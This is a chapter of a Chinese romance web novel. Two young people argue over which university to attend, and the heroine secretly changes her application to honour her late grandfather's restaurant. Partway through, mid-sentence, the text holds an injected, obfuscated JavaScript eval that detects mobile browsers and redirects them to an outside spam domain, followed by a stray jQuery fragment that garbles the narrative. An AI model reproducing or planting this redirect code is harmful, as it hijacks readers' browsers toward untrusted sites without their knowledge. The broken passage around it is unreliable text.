蒋京年同温嘉和第二次吵架是在高考以后的九月,这场战火一直延续到蒋京年生日十月底才堪堪结束。
那年蒋京山读研一,除夕期间,他带着圆脸嫂子淑怡和蒋京年、温嘉和一块儿吃了顿饭,饭后四人去海边放烟花。夜色深蓝浓郁,五颜六色的烟花在上面“啪啪”绽放,映出每个人的脸,格外好看。
蒋京年和温嘉和识趣地给那俩人留出单独相处的空间,就靠在后座一人抱着一个手机看,车上等着无聊,蒋京年打游戏,温嘉和听音乐,歌词唱的是“这世界有那么多人”。
郁可唯的声音唱出来就很“感性”,里面包含着许许多多珠子,每个珠子里面又含着一个小故事,故事的主人公或许善良,或许勤劳,或许怨恨,或许无奈,这世界太大,人又那么小,人群中挤着太多的人,攒出太多的感受,太多的……
蒋京年说:“瞎想什么呢?”
“没瞎想。”温嘉和回神。
蒋京年手下一个小兵死掉,操纵的人物又打败一个敌人,“嗯?”
温嘉和觉得他莫名其妙,“你别说话了,专心打游戏吧。”
连杀中断,蒋京年屏幕黑屏,他收起手机借着后座微亮的灯光看另一头的温嘉和,弯腰伸手拿走她一个耳机。
耳机里已经换了歌,在唱“我们是对方,特别的人”。
他很自然地切换话题:“大学想考哪里?”
温嘉和:“不知道,没想好。”声音听起来都是厌厥厥的。
“你有想去的地方或者想学什么专业吗?”
“暂时没有,蒋京年,我觉得……不知道怎么说……”
“觉得什么?没有方向,迷茫?”
温嘉和扭向窗外,很小声地“嗯”了一声。
蒋京年坐近些,手撑在前座椅的后背上,去看那个有些“忧郁”的少女。
“大哥和淑怡姐以后会走政路,两个人作伴,那蒋家就只剩我了,我只能学商,蒋女士叫我出国我不愿意,我觉得淮海挺好的,而且淮海A大的金融系全国最好,高考志愿我会填A大金融系。”
温嘉和眼睛亮亮,同他对视:“你会讨厌大哥吗?”
“不会。”蒋京年特别坚定:“大哥身上抗的更多,政路更难,我跟他比已经自在很多。我和你说这些是想告诉你,我会留在淮海,我希望你也留在淮海,如果你不喜欢金融,A大全国顶尖除了金融系其他专业也有很多,另外几所重点大学也很好。”
身在这个圈子里,大家都很早熟,早早的,都有一条为自己规划的路,主动或被动。
“淮海最好。”
温嘉和问:“为什么希望我留在淮海?”
蒋京年理所应当:“你难道想和我分开?”
温嘉和的烦恼对他来说甚至不能称之为烦恼,这有什么犹豫的呢?有什么好犹豫的呢?
两个人对视着,两个人沉默着。
中途有电话打来,沈韫北连着打了三个都叫蒋京年摁掉随后电话打到温嘉和手机上,蒋京年不让接,说了一句“消停点”又给挂掉,他把两人手机都设置静音,沈韫北又连打几个发现没人接于是做罢。
温嘉和注意力被拉回来,早先的胡思乱想随着这一通闹早就没影了。
他们两个就这样盯着对方的眼睛,烟花一瞬瞬将两个人的脸时不时照亮,温嘉和半天依旧不说话,没说好也没说不好,蒋京年变得焦躁,
“温嘉和?”
“嗯?”
“A大挺好的,你想读金融专业的话A大是最好的选择,而且,我也在。”
“嗯。”
蒋京年更加着急,“你不愿意?”
“也不是,我只是还不知道我以后做什么好。”
蒋京年早就想过替她想过,“你学金融,之后和我一起进蒋家公司不挺好的吗?有我在淮海谁敢欺负你?换句话说放眼全国蒋家公司也数一数二,淮海不好吗?”
温嘉和不说话,蒋京年黑了脸,蒋二少带点生气,又唤她名字,“温嘉和。”
温嘉和看出来这人生气了,就忍不住笑,这有什么好生气的?但她还是愿意顺着他:“嗯,听见了,报A大,知道了。”
蒋家俩兄弟指定要有一个人继承家业,最开始蒋先生给两人的安排便是一人从政,一人在商。蒋京山选了最难的那条路,从政,蒋京年只能从商。
换句话说,蒋京年胆子大又挑,放在金融地皮行业里必定眼光毒辣、如鱼得水,这件事在日后也得到了验证,而蒋京山沉稳,确实是从政的好苗子。
蒋女士从他们高二时起就常驻国外,忙顾着英国的海外业务,蒋先生对他们更是放养状态。填报志愿的时候只有蒋女士打过电话,得到满意的答案后又恢复平静。
俩人乐得自在,高三毕业后直接住在了蒋家老宅。
填报志愿一共就那么几天,第一天晚上蒋京年就给自己跟温嘉和的填好了,因为他被蒋女士叫飞英国,所以在出国之前他都想全部安排好,这样才放心。
但世事难料。
他走以后那么一天晚上,温嘉和跟蒋老爷子坐在庭院儿中间聊天,那天晚上跟蒋京年出国那天晚上一样,星星特别亮,爷孙俩一人一个摇椅,吹着晚风,温嘉和想起温老爷子,忽然有点回到小时候的那个感觉了。
蒋老爷子问温嘉和想学什么,日后想做什么,温嘉和说不知道。
老爷子直直腰:“不是都填报好专业了吗?”
温嘉和脸上盖着把蒲扇子,淡淡地回他:“嗯。”像睡着了一样。
蒋老爷子拿走她的扇子,边摇边躺回椅子,就问她:“你对温家之前的产业还有印象吗?”
温嘉和说:“有。”
“你就没什么想法?”
温嘉和闭着眼睛很佛系,“没什么想法。”
“二十年前,淮海顶尖公司温家当头,最开始其名下做的最不起眼却也最叫人舒心的是小香山,到现在,小香山已经成为淮海餐饮一把手,时间真快啊。你爷爷就喜欢开饭店,仔细算算,现在淮海数的上来的餐饮哪个不是你爷爷一手操办起来的?”
“是,爷爷生前最喜欢小香山,后面没办法卖掉之后心里也念叨着,我去过两次小香山,现在的老板办的也不错,爷爷知道了心里也算有了着落。”
“你就没点想法?”
“没有。”
蒋老爷子笑一声,“真没有假没有,骗我个老头子可没意思。”
“老爷子——”
“跟着蒋京年那小子可算是没学到点好。”
温嘉和同他窝在摇椅里,“没。”
半响,又吹了会儿风,蒋老爷子说,“想去哪儿就去哪儿,书房有电脑。”
“嗯……嗯?”
又愣了会儿神,她诚恳道:“我怕我做不好。”
“哼哼,憋在心里就能做好了,有本事你就憋一辈子,一辈子不去做,自然是好的,看别人把它糟蹋了也还能安慰自己是因为自己没接手的缘故。”
“……老爷子。”
“你自己想想是不是这个道理吧。”
温嘉和睁开眼望着繁星想啊想,或许十年、二十年哪怕三十年、五十年,小香山依旧还在,然后……可能就想不起来温老爷子是哪位了吧……
她突然就觉得特别委屈,替爷爷觉得委屈,怎么可以不记得了呢?
温嘉和自我挣扎,脑子里有两个小人来回打架,最
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943799|213918||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后,黑色小天使战胜白色小天使,她实在无法做到真的无欲无求。
“是我陪您住两个月吧,之后再回来就是过年了。”
蒋老爷子知道她有了主意,嘴上说“住呗。”但也还是忍不住劝她,“你这孩子心思沉,自己有自己的主意,但是也太顾及着别人,你要学会顾及自己,去争,去抢,指不定就你做的最好呢。”
他其实也心疼她。
温嘉和一直知道,上天会一直用她没有完成的课题考验她,如果她一直不勇敢一直逃避,那么她永远活在别人的庇护里,活在自己给自己织的梦里。
现在她尚且还能告诉自己没关系,只要不碰以前的相关的事那她这样过一辈子也挺好的。
但有人会护她一辈子吗?
除了她,所有人都在往前走,蒋京年和赵琮瑾会专攻金融,会继承家业,沈韫北会学医,同父母一样在医疗行业有所建树,他们哪个都有自己要做的事情,哪个都在往前走,她要是停留在原地,什么都不做,蒙蔽自己什么都不想,那真的就会被扔下。
她到时候还能站在他们身边,还能站在蒋京年的身边吗?站在蒋京年的身边还要被叫“童养媳”吗?
而且小香山是爷爷生前一直的执念,真的要撒手吗?
一直逃避,没有尽头,她蒙蔽自己十二年,之后何去何从,恍恍惚惚虚度时日吗?不,绝不要,她要自己变得强大,她可是温家温嘉和啊。
想要什么要争,要抢,要自己得到。
温嘉和在志愿截止最后一天修改了志愿,填的东华B大管理学,那一刻仿佛真的做了人生的一个大决定,忐忑不安,又隐隐期待。
蒋京年是七月中旬回国的,给她带了满满一行李箱的礼物,从化妆品到香水再到衣服,另外还有两本她爱看的漫画,是特意绕飞日本收的亲签。
温嘉和已经非常心虚了,蒋京年全然不觉。
事情败露是从八月底开始,温嘉和在看淮海到东华的高铁票,两地还算近,坐高铁只需要半个小时左右。
当时蒋京年在看球赛,温嘉和坐在地毯上划拉抢票软件,他低头瞟了一眼,顺口问道:“你要去东华?”
温嘉和立马收手机转身看他,慌乱中起身磕到了膝盖,整个人扑倒在沙发里,蒋京年皱着眉头起身看她磕哪儿了,正好是膝盖内侧,红一大片。
他就说:“你激动什么?”
温嘉和:“没。”
蒋京年从冰箱里取出冰块问张姨拿了个袋子装进去做成冰袋给温嘉和敷腿,“不就是问问你要去东华看祝言朝吗,你至于这么激动吗?”
“痛啊,蒋京年。”
温嘉和脸埋在靠垫里,掉出眼泪,蒋京年一边骂她一边手上收力,“活该,看你长不长记性。”
温嘉和埋得更紧,不吱声后蒋京年又说:“还好你跟我一个学校,不然……你踢我干什么?”
温嘉和:“没看见,你压的我疼。”
蒋京年看着自己举起的冰袋缓缓站起身,拿脚踢温嘉和的脚,“起来。”
温嘉和不动,他又踢,“起来。”
温嘉和猛直起身,头发丝贴在脸上眼睫上挂泪,蒋京年捂脸叹气,默默蹲下身接着给她敷膝盖。
“温嘉和,以后上大学不许瞎搞男朋友。”
“你管我啊!”
“就你这臭脾气能找着什么好人?除了贪图你美貌的就是贪图你钱的,心里没点数?”
气得温嘉和一个抬腿,不小心踢在蒋京年脸上,她比他还慌,没想到当事人压根不在意,还在上一个话题:
“踢我也没用,踢我我说的就不是实话了?”
“臭脾气,也不知道谁惯的。”